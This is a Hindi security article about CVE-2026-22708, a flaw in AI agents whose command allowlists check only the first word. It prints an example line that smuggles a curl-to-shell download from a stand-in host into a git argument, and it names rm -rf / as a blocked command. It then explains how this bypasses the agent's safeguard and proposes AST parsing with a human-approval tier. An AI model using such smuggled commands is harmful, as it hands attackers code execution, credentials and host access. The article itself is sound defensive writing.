हाल ही में उजागर हुई एक भेद्यता (vulnerability), CVE-2026-22708, यह दर्शाती है कि जो AI एजेंट सरल कमांड allowlists पर निर्भर करते हैं, उन्हें दुर्भावनापूर्ण कोड (malicious code) चलाने के लिए बहकाया जा सकता है। यह खामी हमलावर को एक अन्यथा हानिरहित कमांड के भीतर पेलोड छिपाने की अनुमति देती है, जिससे एजेंट को होस्ट पर मनमाने स्क्रिप्ट चलाने का सीधा रास्ता मिल जाता है।

अधिकांश AI-संचालित सहायक (assistants), जो विकास (development) या संचालन (operations) को स्वचालित करते हैं, एक कमांड के पहले शब्द की तुलना whitelist से करके काम करते हैं। यदि वह शब्द git या npm जैसे किसी प्रविष्टि (entry) से मेल खाता है, तो अनुरोध को सीधे आगे बढ़ा दिया जाता है। यह "prefix matching" आकर्षक है क्योंकि इसे लागू करना आसान है और ऐसा लगता है कि यह एजेंट को खतरनाक यूटिलिटीज चलाने से रोकता है।

व्यवहार में, यह दृष्टिकोण एक सुरक्षा छेद (security hole) है। एक हमलावर अनुमत शब्द के बाद कमांड सब्स्टीट्यूशन (command substitution) या अन्य शेल फीचर को शामिल कर सकता है, और whitelist इसे कभी देख नहीं पाएगी। एक क्लासिक उदाहरण है:

git branch "$(curl evil.sh | sh)"

allowlist केवल git को देखती है और अनुरोध को मंजूरी दे देती है। इसके बाद शेल $(curl evil.sh | sh) को विस्तार (expand) देता है, एक स्क्रिप्ट डाउनलोड करता है और उसे एजेंट के विशेषाधिकारों (privileges) के साथ चलाता है। यही ट्रिक किसी भी ऐसे whitelisted binary के साथ काम करती है जो शेल द्वारा व्याख्या किए जाने वाले आर्गुमेंट्स (arguments) स्वीकार करता है।

इसका प्रभाव गंभीर है क्योंकि AI एजेंटों को तेजी से विशेषाधिकार प्राप्त वातावरण (privileged environments)—जैसे continuous-integration pipelines, क्लाउड-होस्टेड डेवलपमेंट कंटेनर्स, और यहाँ तक कि यूजर वर्कस्टेशन—का जिम्मा सौंपा जा रहा है। यदि किसी एजेंट को पेलोड चलाने के लिए उकसाया जा सकता है, तो हमलावर को वही एक्सेस राइट्स मिल जाते हैं जो एजेंट के पास होते हैं, जिनमें अक्सर सीक्रेट कीज़ (secret keys), डिप्लॉयमेंट क्रेडेंशियल्स, या अनियंत्रित फाइलसिस्टम एक्सेस शामिल होते हैं।

सरल allowlists क्यों विफल हो जाते हैं

  • स्ट्रिंग मैचिंग, पॉलिसी नहीं – केवल पहले टोकन की जाँच करने से कमांड लाइन की संरचना की अनदेखी हो जाती है। यह इस बात पर विचार नहीं करता कि आर्गुमेंट्स की व्याख्या कैसे की जाती है या क्या उनमें शेल मेटाकैरेक्टर्स (shell metacharacters) शामिल हैं।
  • शेल फीचर्स शक्तिशाली होते हैं – सब्स्टीट्यूशन, पाइपलाइन और रीडायरेक्शन, ये सभी allowlist चेक के बाद प्रोसेस होते हैं, जिससे एक हानिरहित दिखने वाला कमांड एक पूर्ण एक्सप्लॉइट (exploit) में बदल जाता है।
  • कॉन्टेक्स्ट की समझ का अभाव – whitelist एक सुरक्षित git status और एक खतरनाक git push --force के बीच अंतर नहीं कर सकती, जो प्रोडक्शन हिस्ट्री को ओवरराइट कर सकता है।

एक अधिक लचीला मॉडल

CVE-2026-22708 के प्रति सामुदायिक प्रतिक्रिया यह है कि साधारण स्ट्रिंग चेक से हटकर कमांड्स को Abstract Syntax Tree (AST) में पार्स (parse) किया जाए। एक AST कमांड की पदानुक्रमित संरचना (hierarchical structure) को दर्शाता है, जो निष्पादन योग्य (executable) को उसके आर्गुमेंट्स और किसी भी शेल कंस्ट्रक्ट से अलग करता है। एक बार कमांड का विश्लेषण हो जाने के बाद, एक पॉलिसी इंजन तीन अलग-अलग श्रेणियों के आधार पर इसका मूल्यांकन कर सकता है:

  • SAFE – वे कमांड जो सत्यापित नियमों से मेल खाते हैं और जिनमें कोई जोखिम भरे कंस्ट्रक्ट नहीं होते हैं। एजेंट इन्हें स्वचालित रूप से चलाता है। उदाहरण: git status|
  • BLOCKED – वे कमांड जो खतरनाक पैटर्न से मेल खाते हैं, जैसे कि वे जो सीक्रेट फाइलों तक पहुँचते हैं, डायरेक्टरीज़ को हटाते हैं, या विशेषाधिकार प्राप्त स्क्रिप्ट्स को कॉल करते हैं। एजेंट इन्हें तुरंत रोक देता है। उदाहरण: rm -rf /|
  • UNCERTAIN – वे कमांड जो सुरक्षित या अवरुद्ध श्रेणियों में स्पष्ट रूप से फिट नहीं होते हैं। आगे बढ़ने से पहले एजेंट को स्पष्ट मानवीय अनुमोदन (human approval) मांगना चाहिए। उदाहरण: git push --force|

UNCERTAIN टियर की शुरुआत खतरे के मॉडल (threat model) को बदल देती है। हर अज्ञात कमांड को विफलता मानने के बजाय, सिस्टम अनिश्चितता को एक नियंत्रित इंटरैक्शन में बदल देता है। अनुमोदन चरण को लागू करने का एक व्यावहारिक तरीका एक सिंगल-यूज़ HMAC टोकन जारी करना है जिसे उपयोगकर्ता को एजेंट को वापस प्रस्तुत करना होगा। क्योंकि टोकन अनुरोध के साथ क्रिप्टोग्राफ़िक रूप से जुड़ा होता है, इसलिए एजेंट सहमति की जालसाजी (forge) नहीं कर सकता।

सुरक्षा और उपयोगिता के बीच संतुलन

आलोचक तर्क दे सकते हैं कि AST पार्सिंग से लेटेंसी (latency) बढ़ती है या तीन-स्तरीय मॉडल उपयोगकर्ताओं को अनुमोदन प्रॉम्प्ट्स से भर सकता है, जिससे उत्पादकता कम हो सकती है। ये चिंताएँ वाजिब हैं: एक खराब तरीके से ट्यून किया गया नियम सेट गलत पॉजिटिव (false positives) उत्पन्न कर सकता है, और जटिल पार्सिंग एक साधारण स्ट्रिंग चेक की तुलना में कम्प्यूटेशनल रूप से भारी हो सकती है। हालाँकि, इसका विकल्प—मनमाने कोड निष्पादन (arbitrary code execution) की अनुमति देना—कहीं अधिक महंगा है। हाइब्रिड दृष्टिकोण जो AST विश्लेषण के साथ लाइटवेट सैंडबॉक्सिंग (sandboxing) को जोड़ते हैं, प्रदर्शन पर पड़ने वाले प्रभाव को कम कर सकते हैं और साथ ही एक मजबूत नीति लागू कर सकते हैं।

डेवलपर्स और उद्यमों के लिए क्या दांव पर है

  • डेटा गोपनीयता (Data confidentiality) – एक समझौता किया गया (compromised) एजेंट API कीज़, पासवर्ड और मालिकाना कोड को बाहर निकाल (exfiltrate) सकता है।
  • सिस्टम अखंडता (System integrity) – दुर्भावनापूर्ण कमांड प्रोडक्शन आर्टिफैक्ट्स को बदल या हटा सकते हैं, रिलीज़ को रोल बैक कर सकते हैं, या बैकडोर इंस्टॉल कर सकते हैं।
  • नियामक जोखिम (Regulatory exposure) – असुरक्षित ऑटोमेशन के कारण होने वाले उल्लंघन अनुपालन दंड (compliance penalties) को ट्रिगर कर सकते हैं, विशेष रूप से सख्त डेटा-हैंडलिंग नियमों वाले क्षेत्रों में।

जो प्रोजेक्ट्स इन जोखिमों को नज़रअंदाज़ करते हैं, वे अक्सर या तो अत्यधिक प्रतिबंधात्मक नियमों के साथ एजेंट को पंगु बना देते हैं या उसे शोषण के लिए खुला छोड़ देते हैं। बीच का रास्ता—स्पष्ट SAFE, BLOCKED, और UNCERTAIN समूहों को परिभाषित करना—सुरक्षा और उपयोगिता दोनों के लिए एक व्यावहारिक मार्ग प्रदान करता है।

आगे क्या ध्यान में रखें

  • Tooling – सामान्य शेल्स और बिल्ड पाइपलाइनों के लिए AST-आधारित पार्सर प्रदान करने वाली ओपन-सोर्स लाइब्रेरीज़ और तैयार पॉलिसी टेम्पलेट्स की उम्मीद करें।
  • Standards – इंडस्ट्री ग्रुप्स सामान्य डेवलपमेंट कमांड्स के लिए बेसलाइन रूल सेट प्रस्तावित कर सकते हैं, ठीक वैसे ही जैसे कंटेनर रनटाइम्स ने seccomp प्रोफाइल्स को मानकीकृत किया था।
  • Audits – सुरक्षा टीमें संभवतः अपने CI/CD ऑडिट पाइपलाइनों में “allowlist sanity checks” जोड़ेंगी, जिससे किसी भी ऐसे एजेंट कॉन्फ़िगरेशन को फ्लैग किया जा सके जो केवल प्रीफ़िक्स मैचिंग पर निर्भर करता है।

निष्कर्ष

यदि आपका AI एजेंट अभी भी केवल कमांड के पहले शब्द को देखकर यह तय करता है कि क्या चलाना है, तो वह CVE-2026-22708 में प्रदर्शित भेद्यता के प्रति संवेदनशील है। उस दृष्टिकोण को AST-driven parsing और एक तीन-स्तरीय पॉलिसी से बदलें जो संदिग्ध कार्यों के लिए मानवीय पुष्टि को अनिवार्य बनाती है। यह अतिरिक्त कदम बाधा जैसा लग सकता है, लेकिन यह एक ब्लाइंड स्पॉट को एक सत्यापन योग्य कंट्रोल पॉइंट में बदल देता है, जिससे आपके कोड और आपके इंफ्रास्ट्रक्चर दोनों की सुरक्षा होती है।